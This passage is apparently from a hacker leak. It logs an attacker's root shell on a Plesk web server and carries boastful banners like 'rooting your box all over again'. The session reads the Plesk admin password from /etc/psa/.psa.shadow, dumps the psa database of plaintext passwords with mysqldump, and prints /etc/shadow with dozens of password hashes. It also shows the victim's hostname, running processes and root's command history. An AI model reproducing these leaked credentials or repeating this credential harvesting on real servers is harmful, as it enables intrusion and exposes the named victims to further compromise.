  3445. cd //
  3446. ll
  3447. su -
  3448. exit
  3449. su
  3450. cd.
  3451. ;;
  3452. ll
  3453. su root
  3454. ll
  3455. cd
  3456. ll
  3457. cd
  3458. ll
  3459. su
  3460. su -
  3461. cd .ssh
  3462. lll
  3463. ll
  3464. ll -a
  3465. less authorized_keys
  3466. cd ~
  3467. pwd
  3468. exit
  3469.  
  3470. ////////////////////////////////////////////////////////////////////////////////
  3471.   ON TO SERVER NUMBER TWO...
  3472.   ROOTING YOUR BOX ALL OVER AGAIN ... THANKS FOR COPYING OUR ROOTSHELLS OVER!
  3473. ////////////////////////////////////////////////////////////////////////////////
  3474.  
  3475. # id
  3476. uid=0(root) gid=0(root) groups=48(apache),504(psaserv),506(psasb)
  3477.  
  3478. # uname -a
  3479. Linux ip-173-201-44-217.ip.secureserver.net 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9
  3480. 12:54:40 EST 2010 i686 i686 i386 GNU/Linux
  3481.  
  3482. // GET THEIR NEW PLESK ROOT PASSWORD...
  3483.  
  3484. # cat /etc/psa/.psa.shadow
  3485. xP7bhLwbSkNiHyWS9PpnCG/u1wMkKy2/
  3486.  
  3487. // GET THEIR NEW PASSWORDS... THANKS AGAIN PLESK FOR THE PLAINTEXTS
  3488.  
  3489. # mysqldump -q -u admin -pxP7bhLwbSkNiHyWS9PpnCG/u1wMkKy2/ --databases psa
  3490. --add-drop-table > newpasses.sql
  3491.  
  3492. // JUST FOR FUN...
  3493.  
  3494. # cat /etc/shadow
  3495. root:$1$.1QVTig3$JduJkOj4jwaps0mslfpGK0:15184:0:99999:7:::
  3496. bin:*:13913:0:99999:7:::
  3497. daemon:*:13913:0:99999:7:::
  3498. adm:*:13913:0:99999:7:::
  3499. lp:*:13913:0:99999:7:::
  3500. sync:*:13913:0:99999:7:::
  3501. shutdown:*:13913:0:99999:7:::
  3502. halt:*:13913:0:99999:7:::
  3503. mail:*:13913:0:99999:7:::
  3504. news:*:13913:0:99999:7:::
  3505. uucp:*:13913:0:99999:7:::
  3506. operator:*:13913:0:99999:7:::
  3507. games:*:13913:0:99999:7:::
  3508. gopher:*:13913:0:99999:7:::
  3509. ftp:*:13913:0:99999:7:::
  3510. nobody:*:13913:0:99999:7:::
  3511. rpm:!!:13913:0:99999:7:::
  3512. dbus:!!:13913:0:99999:7:::
  3513. mailnull:!!:13913:0:99999:7:::
  3514. smmsp:!!:13913:0:99999:7:::
  3515. nscd:!!:13913:0:99999:7:::
  3516. vcsa:!!:13913:0:99999:7:::
  3517. rpc:!!:13913:0:99999:7:::
  3518. rpcuser:!!:13913:0:99999:7:::
  3519. nfsnobody:!!:13913:0:99999:7:::
  3520. sshd:!!:13913:0:99999:7:::
  3521. pcap:!!:13913:0:99999:7:::
  3522. haldaemon:!!:13913:0:99999:7:::
  3523. bjmsuper:$1$M63jQMA6$cv.SNTL28NcjmVAaxs2Ej.:15184:0:99999:7:::
  3524. avahi:!!:15182::::::
  3525. avahi-autoipd:!!:15182::::::
  3526. named:!!:15182::::::
  3527. xfs:!!:15182::::::
  3528. apache:!!:15182::::::
  3529. distcache:!!:15182::::::
  3530. mysql:!!:15182::::::
  3531. ntp:!!:15182::::::
  3532. psaadm:!!:15182:0:99999:7:::
  3533. popuser:!!:15182:0:99999:7:::
  3534. mhandlers-user:!!:15182:0:99999:7:::
  3535. psaftp:!!:15182:0:99999:7:::
  3536. sw-cp-server:!!:15182:0:99999:7:::
  3537. webalizer:!!:15182::::::
  3538. postgres:!!:15182::::::
  3539. mailman:!!:15182::::::
  3540. drweb:!!:15182::::::
  3541. postfix:!!:15182::::::
  3542. bcsd:$1$xCMvzTCw$la6TitHPqhZJZxGm8htNm0:15184:0:99999:7:::
  3543. bocs:$1$5MIGny/8$RomAufC87/GVd5jpQqvXd1:15185:0:99999:7:::
  3544. bcso_tiger:$1$sezwL7Dg$FoEEp5RY.3X.nT.uyA1C8/:15184:0:99999:7:::
  3545. ciga:$1$/FQWHz0M$yWPMQj14PQvi1fecxIrsO1:15185:0:99999:7:::
  3546. kcsoms:$1$xAHy/f1k$7xCQaeD8ixjn3xhVwaZyX.:15184:0:99999:7:::
  3547. mcsd:$1$sEyGh2be$PMm64ZLZ7F35Th.EdFZBO1:15184:0:99999:7:::
  3548. bjm:$1$Cy5SbB3b$WHQqxFVZ.mo9CAuw3QK2U.:15184:0:99999:7:::
  3549. demo:$1$yY//AeXg$wNK80Z9Un9tVXIBdSnFVr.:15184:0:99999:7:::
  3550. dymin:$1$Y3Q/Kl9u$BLGlnjVjes3j0Ef6mZKai.:15184:0:99999:7:::
  3551. code:$1$djs7zQTz$MLKsBoIpUu9kQsOJCkgMM/:15184:0:99999:7:::
  3552. bjm2:$1$tW0LeatV$nR94bHILSdmz0Q4N1lpuu1:15184:0:99999:7:::
  3553. polms:$1$dnP9bxxQ$DpXSyrQ6sAFBlchPa1nEd.:15184:0:99999:7:::
  3554. dcsd:$1$ifDMxt/3$vu/BPAh/654jVaUy1FwGk.:15184:0:99999:7:::
  3555. hcsoks:$1$8wW7ldva$S8VCJaXcIVvBY7vfEld2I/:15184:0:99999:7:::
  3556. acsoms:$1$KhajK9K4$gZD3GQ4hFg3bZnm0vi6AN.:15184:0:99999:7:::
  3557. bcsd_sync:$1$uFr8iazf$aByYOYgT811Ip.4wRexL2/:15184:0:99999:7:::
  3558. stoms:$1$lBU2FPZk$HD9JCRmC/zs689ayKbnOO/:15185:0:99999:7:::
  3559. sgsomo:$1$pf9ArBub$aBn.2ZMWAtTYF85YqEep7/:15185:0:99999:7:::
  3560. lcsomo:$1$JR2qCyHf$u41XNGVKhFOdTU9y1e.wY/:15185:0:99999:7:::
  3561. bcsoga:$1$rI93Txxe$2QOjFc33mgEVsYJo89pwf/:15185:0:99999:7:::
  3562. scsomo:$1$r/8EJ7/Q$jbDryfYFa.AZ1pSWHYrqv.:15185:0:99999:7:::
  3563. izcg:$1$um.djC2T$HpUPY4cMmw26EUq1GBFnQ.:15185:0:99999:7:::
  3564. crcsd:$1$PgW3mxOA$WIfi2QX4j5z9HQ/yDadUZ1:15185:0:99999:7:::
  3565. ncsd:$1$z7qrcv0Q$bLlPk0X3ICll7Jj.SYFko.:15185:0:99999:7:::
  3566. johms:$1$YtAcr6vB$rMntSo3tbOZEiAbeFv8FU/:15185:0:99999:7:::
  3567. mcmtn:$1$8Wo2rZXP$y7Ku9Vgu41Ee0mF6zJgv//:15185:0:99999:7:::
  3568. vbcsd:$1$1GxJKxHV$Qc6XRkLc7SZrf3RrSJ/gd1:15185:0:99999:7:::
  3569. rcpica:$1$OWMi9c1P$JvVzpKMhV..4iOLQh.iGz0:15185:0:99999:7:::
  3570. icsd:$1$vYV3gRcq$qorp1ljJnyp/zzx9nnL8d.:15185:0:99999:7:::
  3571. gcsd:$1$KxQLd2nC$emDotofAdSi8FVxHUa6070:15185:0:99999:7:::
  3572. lawmo:$1$XS9q5HHW$WEMi7d5BhZfJ5hFF4tEZy/:15185:0:99999:7:::
  3573.  
  3574. // ROOT LOGGED IN... THEY ARE ON TO US... BUT CAN NEVER STOP US
  3575.  
  3576. # w; ps -aux
  3577.  16:00:00 up 3 days, 14:28,  2 users,  load average: 0.04, 0.05, 0.08
  3578. USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
  3579. bjmsuper pts/0    mthm-static-67-2 09:42    6:10m  0.02s  0.25s sshd: bjmsuper
  3580. root     pts/1    mthm-static-67-2 Fri11   10:59   0.54s  0.54s -bash
  3581. USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
  3582. root         1  0.0  0.0   2160   584 ?        Ss   Jul27   0:01 init [3]
  3583. root         2  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/0]
  3584. root         3  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/0]
  3585. root         4  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/0]
  3586. root         5  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/1]
  3587. root         6  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/1]
  3588. root         7  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/1]
  3589. root         8  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/2]
  3590. root         9  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/2]
  3591. root        10  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/2]
  3592. root        11  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/3]
  3593. root        12  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/3]
  3594. root        13  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/3]
  3595. root        14  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/0]
  3596. root        15  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/1]
  3597. root        16  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/2]
  3598. root        17  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/3]
  3599. root        18  0.0  0.0      0     0 ?        S<   Jul27   0:00 [khelper]
  3600. root        19  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kthread]
  3601. root        25  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/0]
  3602. root        26  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/1]
  3603. root        27  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/2]
  3604. root        28  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/3]
  3605. root        29  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kacpid]
  3606. root       130  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/0]
  3607. root       131  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/1]
  3608. root       132  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/2]
  3609. root       133  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/3]
  3610. root       136  0.0  0.0      0     0 ?        S<   Jul27   0:00 [khubd]
  3611. root       138  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kseriod]
  3612. root       213  0.0  0.0      0     0 ?        S    Jul27   0:00 [khungtaskd]
  3613. root       216  0.0  0.0      0     0 ?        S<   Jul27   0:04 [kswapd0]
  3614. root       217  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/0]
  3615. root       218  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/1]
  3616. root       219  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/2]
  3617. root       220  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/3]
  3618. root       375  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kpsmoused]
  3619. root       422  0.0  0.0      0     0 ?        S<   Jul27   0:00 [scsi_eh_0]
  3620. root       428  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/0]
  3621. root       429  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/1]
  3622. root       430  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/2]
  3623. root       431  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/3]
  3624. root       432  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata_aux]
  3625. root       438  0.0  0.0      0     0 ?        S<   Jul27   0:00 [scsi_eh_1]
  3626. root       439  0.0  0.0      0     0 ?        S<   Jul27   0:00 [scsi_eh_2]
  3627. root       460  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kstriped]
  3628. root       481  0.0  0.0      0     0 ?        S<   Jul27   0:22 [kjournald]
  3629. root       506  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kauditd]
  3630. root       539  0.0  0.0   2376   628 ?        S<   Jul27   0:00 [kmpathd/0]
  3631. root      1391  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kmpathd/1]
  3632. root      1392  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kmpathd/2]
  3633. root      1393  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kmpathd/3]
  3634. root      1394  0.0  0.0      0     0 ?        S<   Jul27   0:00
  3635. [kmpath_handlerd]
  3636. root      1423  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kjournald]
  3637. root      1687  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/0]
  3638. root      1688  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/1]
  3639. root      1689  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/2]
  3640. root      1690  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/3]
  3641. root      2146  0.0  0.0  12628   776 ?        S<   Jul27   0:00 [rpciod/0]
  3642. root      2259  0.0  0.0      0     0 ?        S<   Jul27   0:00 [rpciod/1]
  3643. root      2260  0.0  0.0      0     0 ?        S<   Jul27   0:00 [rpciod/2]
  3644. root      2261  0.0  0.0      0     0 ?        S<   Jul27   0:00 [rpciod/3]
  3645. rpcuser   2270  0.0  0.0   1964   744 ?        Ss   Jul27   0:00 rpc.statd
  3646. root      2302  0.0  0.0   5952   636 ?        Ss   Jul27   0:00 rpc.idmapd
  3647. dbus      2330  0.0  0.0   2844   940 ?        Ss   Jul27   0:00 dbus-daemon
  3648. --system
  3649. root      2343  0.0  0.0   2256   768 ?        Ss   Jul27   0:00 /usr/sbin/hcid
  3650. root      2349  0.0  0.0   1832   504 ?        Ss   Jul27   0:00 /usr/sbin/sdpd
  3651. root      2380  0.0  0.0      0     0 ?        S<   Jul27   0:00 [krfcommd]
  3652. root      2424  0.0  0.0  12956  1396 ?        Ssl  Jul27   0:00 pcscd
  3653. root      2438  0.0  0.0   1760   524 ?        Ss   Jul27   0:00 /usr/sbin/acpid
  3654. root      2462  0.0  0.0   2008   452 ?        Ss   Jul27   0:00 /usr/bin/hidd
  3655. --server
  3656. root      2492  0.0  0.0  27364  1368 ?        Ssl  Jul27   0:00 automount
  3657. root      2565  0.0  0.0  10260  2316 ?        Ss   Jul27   0:00 cupsd
  3658. root      2582  0.0  0.0   2836   872 ?        Ss   Jul27   0:00 xinetd
  3659. -stayalive -pidfile /var/run/xinetd.pid
  3660. root      2687  0.0  0.0   6972  1804 ?        Ss   Jul27   0:05
  3661. /usr/libexec/postfix/master
  3662. root      2721  0.0  0.0   2000   364 ?        Ss   Jul27   0:00 gpm -m
  3663. /dev/input/mice -t exps2
  3664. postgres  2969  0.0  0.1  21248  3320 ?        S    Jul27   0:00
  3665. /usr/bin/postmaster -p 5432 -D /var/lib/pgsql/data
  3666. postgres  2971  0.0  0.0  11024   864 ?        S    Jul27   0:00 postgres:
  3667. logger process
  3668. postgres  2973  0.0  0.0  21248   948 ?        S    Jul27   0:00 postgres:
  3669. writer process
  3670. postgres  2974  0.0  0.0  12028   768 ?        S    Jul27   0:00 postgres: stats
  3671. buffer process
  3672. postgres  2975  0.0  0.0  11212   948 ?        S    Jul27   0:00 postgres: stats
  3673. collector process
  3674. drweb     3167  0.2  3.8 122892 119308 ?       Ss   Jul27  13:13 drwebd.real
  3675. root      3186  0.0  0.3  41216 10008 ?        S    Jul27   0:24
  3676. /usr/bin/sw-engine -c /usr/local/psa/admin/conf/php.ini
  3677. /usr/lib/plesk-9.0/psa-health-monitor-notification.php
  3678. root      3200  0.6  0.0  71956  2632 ?        Ssl  Jul27  31:31
  3679. /usr/sbin/sw-collectd -C /etc/sw-collectd/collectd.conf
  3680. root      3219  0.0  0.0   5380  1132 ?        Ss   Jul27   0:00 crond
  3681. xfs       3244  0.0  0.0   3264   992 ?        Ss   Jul27   0:00 xfs -droppriv
  3682. -daemon
  3683. root      3269  0.0  0.0   2360   436 ?        Ss   Jul27   0:00 /usr/sbin/atd
  3684. avahi     3296  0.0  0.0   2696  1300 ?        Ss   Jul27   0:00 avahi-daemon:
  3685. running [ip-173-201-44-217.local]
  3686. avahi     3297  0.0  0.0   2696   432 ?        Ss   Jul27   0:00 avahi-daemon:
  3687. chroot helper
  3688. 68        3310  0.0  0.1   5788  3780 ?        Ss   Jul27   0:00 hald
  3689. root      3311  0.0  0.0   3264   988 ?        S    Jul27   0:00 hald-runner
  3690. 68        3319  0.0  0.0   2108   816 ?        S    Jul27   0:00
  3691. hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
  3692. root      3348  0.0  0.0  33228   532 ?        Sl   Jul27   0:00 /usr/bin/hptsvr
  3693. root      3650  0.0  0.3  26128 10404 ?        SN   Jul27   0:00 /usr/bin/python
  3694. -tt /usr/sbin/yum-updatesd
  3695. root      3653  0.0  0.0   2656  1136 ?        SN   Jul27   0:00
  3696. /usr/libexec/gam_server
  3697. root      3707  0.0  0.0   3612   428 ?        S    Jul27   0:00
  3698. /usr/sbin/smartd -q never
  3699. root      3711  0.0  0.0   1748   440 tty2     Ss+  Jul27   0:00 /sbin/mingetty
  3700. tty2
  3701. root      3712  0.0  0.0   1748   444 tty3     Ss+  Jul27   0:00 /sbin/mingetty
  3702. tty3
  3703. root      3713  0.0  0.0   1748   464 tty4     Ss+  Jul27   0:00 /sbin/mingetty
  3704. tty4
  3705. root      3716  0.0  0.0   1748   444 tty5     Ss+  Jul27   0:00 /sbin/mingetty
  3706. tty5
  3707. root      3718  0.0  0.0   1748   444 tty6     Ss+  Jul27   0:00 /sbin/mingetty
  3708. tty6
  3709. root      5002  0.0  0.0   1748   440 tty1     Ss+  Jul27   0:00 /sbin/mingetty
  3710. tty1
  3711. root      9735  0.0  0.0   2940   552 ?        S    Jul29   0:00
  3712. /usr/lib/courier-imap/couriertcpd -address=0
  3713. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd -maxprocs=40
  3714. -maxperip=4 -pid=/var/run/imapd.pid -nodnslookup -noidentlookup 143
  3715. /usr/sbin/imaplogin /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  3716. root      9737  0.0  0.0   1616   244 ?        S    Jul29   0:00
  3717. /usr/sbin/courierlogger imapd
  3718. root      9745  0.0  0.0   2940   568 ?        S    Jul29   0:00
  3719. /usr/lib/courier-imap/couriertcpd -address=0
  3720. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd-ssl -maxprocs=40
  3721. -maxperip=4 -pid=/var/run/imapd-ssl.pid -nodnslookup -noidentlookup 993
  3722. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  3723. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  3724. root      9747  0.0  0.0   1616   244 ?        S    Jul29   0:00
  3725. /usr/sbin/courierlogger imapd-ssl
  3726. root      9753  0.0  0.0   2940   568 ?        S    Jul29   0:00
  3727. /usr/lib/courier-imap/couriertcpd -address=0
  3728. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d -maxprocs=40
  3729. -maxperip=4 -pid=/var/run/pop3d.pid -nodnslookup -noidentlookup 110
  3730. /usr/sbin/pop3login /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  3731. root      9755  0.0  0.0   1616   244 ?        S    Jul29   0:00
  3732. /usr/sbin/courierlogger pop3d
  3733. root      9762  0.0  0.0   2940   552 ?        S    Jul29   0:00
  3734. /usr/lib/courier-imap/couriertcpd -address=0
  3735. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d-ssl -maxprocs=40
  3736. -maxperip=4 -pid=/var/run/pop3d-ssl.pid -nodnslookup -noidentlookup 995
  3737. /usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
  3738. /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  3739. root      9764  0.0  0.0   1616   244 ?        S    Jul29   0:00
  3740. /usr/sbin/courierlogger pop3d-ssl
  3741. root     10009  0.0  0.0      0     0 ?        S    12:50   0:00 [pdflush]
  3742. root     11853  0.0  0.9  34508 29812 ?        Ss   Jul29   0:00 /usr/bin/spamd
  3743. --username=popuser --daemonize --nouser-config --helper-home-dir=/var/qmail
  3744. --max-children 5 --create-prefs
  3745. --virtual-config-dir=/var/qmail/mailnames/%d/%l/.spamassassin
  3746. --pidfile=/var/run/spamd/spamd_full.pid --socketpath=/tmp/spamd_full.sock
  3747. popuser  11854  0.0  0.9  34508 28388 ?        S    Jul29   0:00 spamd child
  3748. popuser  11855  0.0  0.9  34508 28312 ?        S    Jul29   0:00 spamd child
  3749. 503      17229  0.0  0.2  10356  6568 ?        S    Jul27   0:43
  3750. /usr/sbin/sw-cp-serverd -f /etc/sw-cp-server/config
  3751. root     18794  0.0  0.0   4628  1216 ?        S    Jul27   0:00 /bin/sh
  3752. /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock
  3753. --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
  3754. --user=mysql
  3755. mysql    18844  0.3  1.0 150116 32948 ?        Sl   Jul27  17:10
  3756. /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
  3757. --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking
  3758. --socket=/var/lib/mysql/mysql.sock
  3759. postfix  20135  0.0  0.0   7036  1780 ?        S    14:37   0:00 pickup -l -t
  3760. fifo -u -o content_filter smtp:127.0.0.1:10027
  3761. postfix  20730  0.0  0.0   7728  2544 ?        S    Jul28   0:05 qmgr -l -t fifo
  3762. -u
  3763. postfix  20733  0.0  0.0   7072  1940 ?        S    Jul28   0:00 tlsmgr -l -t
  3764. unix -u
  3765. root     23510  0.0  0.1  12000  3420 ?        Ss   09:42   0:00 sshd: bjmsuper
  3766. [priv]
  3767. bjmsuper 23516  0.0  0.0  12000  1852 ?        S    09:42   0:00 sshd:
  3768. bjmsuper@pts/0
  3769. bjmsuper 23517  0.0  0.0   4632  1476 pts/0    Ss   09:42   0:00 -bash
  3770. root     23545  0.0  0.0   9404  2092 pts/0    S    09:42   0:00 su -
  3771. root     23546  0.0  0.0   4752  1444 pts/0    S+   09:42   0:00 -bash
  3772. root     24221  0.0  0.0   7220  1056 ?        Ss   Jul28   0:00 /usr/sbin/sshd
  3773. drweb    25217  0.0  3.8 122892 117976 ?       S    15:30   0:00 drwebd.real
  3774. drweb    25218  0.0  3.8 122892 117980 ?       S    15:30   0:00 drwebd.real
  3775. drweb    25219  0.0  3.8 122892 117980 ?       S    15:30   0:00 drwebd.real
  3776. drweb    25220  0.0  3.8 122892 117980 ?       S    15:30   0:00 drwebd.real
  3777. named    26286  0.0  0.2  75300  6296 ?        Ssl  Jul27   0:03 /usr/sbin/named
  3778. -u named -c /etc/named.conf -u named -t /var/named/run-root
  3779. root     28663  0.0  0.0      0     0 ?        S    15:48   0:00 [pdflush]
  3780. root     29137  0.0  0.6  44620 20492 ?        Ss   15:48   0:00 /usr/sbin/httpd
  3781. apache   29139  0.0  0.2  30444  8224 ?        S    15:48   0:00 /usr/sbin/httpd
  3782. apache   29140  0.0  0.8  54880 26848 ?        S    15:48   0:00 /usr/sbin/httpd
  3783. apache   29141  0.0  0.5  45352 16812 ?        S    15:48   0:00 /usr/sbin/httpd
  3784. apache   29142  0.0  0.5  45188 16312 ?        S    15:48   0:00 /usr/sbin/httpd
  3785. apache   29143  0.0  0.8  54820 26052 ?        S    15:48   0:00 /usr/sbin/httpd
  3786. apache   29145  0.0  0.5  45368 16896 ?        S    15:48   0:00 /usr/sbin/httpd
  3787. apache   29146  0.0  0.5  45516 16564 ?        S    15:48   0:00 /usr/sbin/httpd
  3788. apache   29148  0.0  0.5  45536 16508 ?        S    15:48   0:00 /usr/sbin/httpd
  3789. apache   29194  0.0  0.8  54796 26952 ?        S    15:48   0:00 /usr/sbin/httpd
  3790. apache   29195  0.0  0.5  45404 16312 ?        S    15:48   0:00 /usr/sbin/httpd
  3791. apache   29197  0.0  0.8  54844 25836 ?        S    15:48   0:00 /usr/sbin/httpd
  3792. apache   29198  0.0  0.5  45224 15928 ?        S    15:48   0:00 /usr/sbin/httpd
  3793. apache   29199  0.0  0.5  45232 15828 ?        S    15:48   0:00 /usr/sbin/httpd
  3794. apache   29200  0.0  0.8  54872 26868 ?        S    15:48   0:00 /usr/sbin/httpd
  3795. apache   29201  0.0  0.5  45268 17176 ?        S    15:48   0:00 /usr/sbin/httpd
  3796. apache   29202  0.0  0.5  45196 15784 ?        S    15:48   0:00 /usr/sbin/httpd
  3797. apache   29203  0.0  0.8  54908 27108 ?        S    15:48   0:00 /usr/sbin/httpd
  3798. apache   29205  0.0  0.5  45376 16368 ?        S    15:48   0:00 /usr/sbin/httpd
  3799. apache   29206  0.0  0.8  54844 26268 ?        S    15:48   0:00 /usr/sbin/httpd
  3800. apache   29207  0.0  0.5  45444 16520 ?        S    15:48   0:00 /usr/sbin/httpd
  3801. apache   29465  0.1  0.5  45152 15460 ?        S    15:57   0:00 /usr/sbin/httpd
  3802. apache   29617  0.0  0.0   2548   984 ?        S    16:00   0:00 sh -c w;ps -aux
  3803. apache   29620  0.0  0.0   2276   824 ?        R    16:00   0:00 ps -aux
  3804. root     30158  0.0  0.1  12136  3224 ?        Ss   Jul29   0:03 sshd:
  3805. root@pts/1
  3806. root     30168  0.0  0.0   4748  1536 pts/1    Ss+  Jul29   0:00 -bash
  3807.  
  3808. // LETS SEE HOW THEY ATTEMPTED TO SECURE THEIR NEW SERVER...
  3809.  
  3810. # cat ~root/.bash_history
  3811. ifconfig
  3812. ping 10.0.0.1
  3813. ping 10.0.0.254
  3814. service sshd status
  3815. service network restart
  3816. service sshd restart
  3817. service iptables restart
  3818. service iptables stop
  3819. service iptables start
  3820. exit
  3821. service iptables stop
  3822. service psa start
  3823. service psa status
  3824. netstat -anp | less
  3825. tcpdump not port ssh
  3826. yum update -y
  3827. date
  3828. pwd
  3829. mkdir htmldoc
  3830. wget
  3831. http://www.htmldoc.org/software.php?VERSION=1.8.27&FILE=htmldoc/1.8.27/htmldoc-1
  3832. .8.27-source.tar.gz
  3833. ls
  3834. rm software.php\?VERSION\=1.8.27
  3835. cd htmldoc/
  3836. wget http://ftp.easysw.com/pub/htmldoc/1.8.27/htmldoc-1.8.27-source.tar.gz
  3837. gunzip htmldoc-1.8.27-source.tar.gz
  3838. tar -xvf htmldoc-1.8.27-source.tar
  3839. cd htmldoc-1.8.27
  3840. ./configure
  3841. yum install gcc-c++
  3842. make
  3843. make install
  3844. cd ..
  3845. cd ..
  3846. mkdir ImageMagick
  3847. yum install tcl-devel libpng-devel libjpg-devel ghostscript-devel bzip2-devel
  3848. freetype-devel libtiff-devel
  3849. pwd
  3850. cd ImageMagick/
  3851. wget ftp://ftp.imagemagick.org/pub/ImageMagick/ImageMagick.tar.gz
  3852. tar -xzvf ImageMagick.tar.gz
  3853. cd ImageMagick-6.7.1-0/
  3854. ls
  3855. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3856. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3857. --with-jp2=yes --with-png=yes --with-tiff=yes
  3858. yum install java-1.6.0-openjdk-devel.i386
  3859. cd /usr/src/
  3860. ls
  3861. wget http://www.pdflib.com/binaries/PDFlib/705/PDFlib-Lite-7.0.5.tar.gz
  3862. tar -xzpf PDFlib-Lite-7.0.5.tar.gz
  3863. cd PDFlib-Lite-7.0.5
  3864. ls
  3865. ./configure -prefix=/usr/local
  3866. make
  3867. make install
  3868. yum install php-pear
  3869. pecl install pdflib
  3870. cp /usr/local/lib/libpdf.so /usr/include/php/ext
  3871. echo "[libpdf]" >> /etc/php.ini
  3872. echo "extension=pdf.so" >> /etc/php.ini
  3873. service httpd restart
  3874. cd /etc
  3875. ls php.ini
  3876. vi php.ini
  3877. vi php.ini
  3878. service httpd restart
  3879. cd
  3880. cd ImageMagick/
  3881. ls
  3882. cd ImageMagick
  3883. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3884. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3885. --with-jp2=yes --with-png=yes --with-tiff=yes
  3886. ls
  3887. cd ImageMagick-6.7.1-0/
  3888. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3889. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3890. --with-jp2=yes --with-png=yes --with-tiff=yes
  3891. yum install libjpeg-devel
  3892. yum install tcl-devel
  3893. yum install libpng-devel
  3894. yum install ghostscript-devel
  3895. yum install bzip2-devel
  3896. yum install freetype-devel
  3897. yum install libtiff-devel
  3898. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3899. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3900. --with-jp2=yes --with-png=yes --with-tiff=yes
  3901. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3902. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3903. --with-jp2=yes --with-png=yes --with-tiff=yes
  3904. make clean
  3905. make
  3906. make install
  3907. cd .ssh/
  3908. ll
  3909. chown root:root authorized_keys2
  3910. vi /etc/my.cnf
  3911. service mysqld restart
  3912. pkill mysql
  3913. service mysqld restart
  3914. ps -ef | grep my
  3915. vi /etc/my.cnf
  3916. service mysqld start
  3917. /usr/local/psa/bin/reconfigurator.pl mapfile
  3918. vi mapfile
  3919. ifconfig -a
  3920. vi mapfile
  3921. ifconfig -a
  3922. /usr/local/psa/bin/reconfigurator.pl mapfile
  3923. mv mapfile mapfile.old
  3924. /usr/local/psa/bin/reconfigurator.pl mapfile
  3925. vi mapfile
  3926. /usr/local/psa/bin/reconfigurator.pl mapfile
  3927. vi mapfile
  3928. mv mapfile mapfile88
  3929. /usr/local/psa/bin/reconfigurator.pl mapfile
  3930. vi mapfile
  3931. ll
  3932. cat mapfile.old
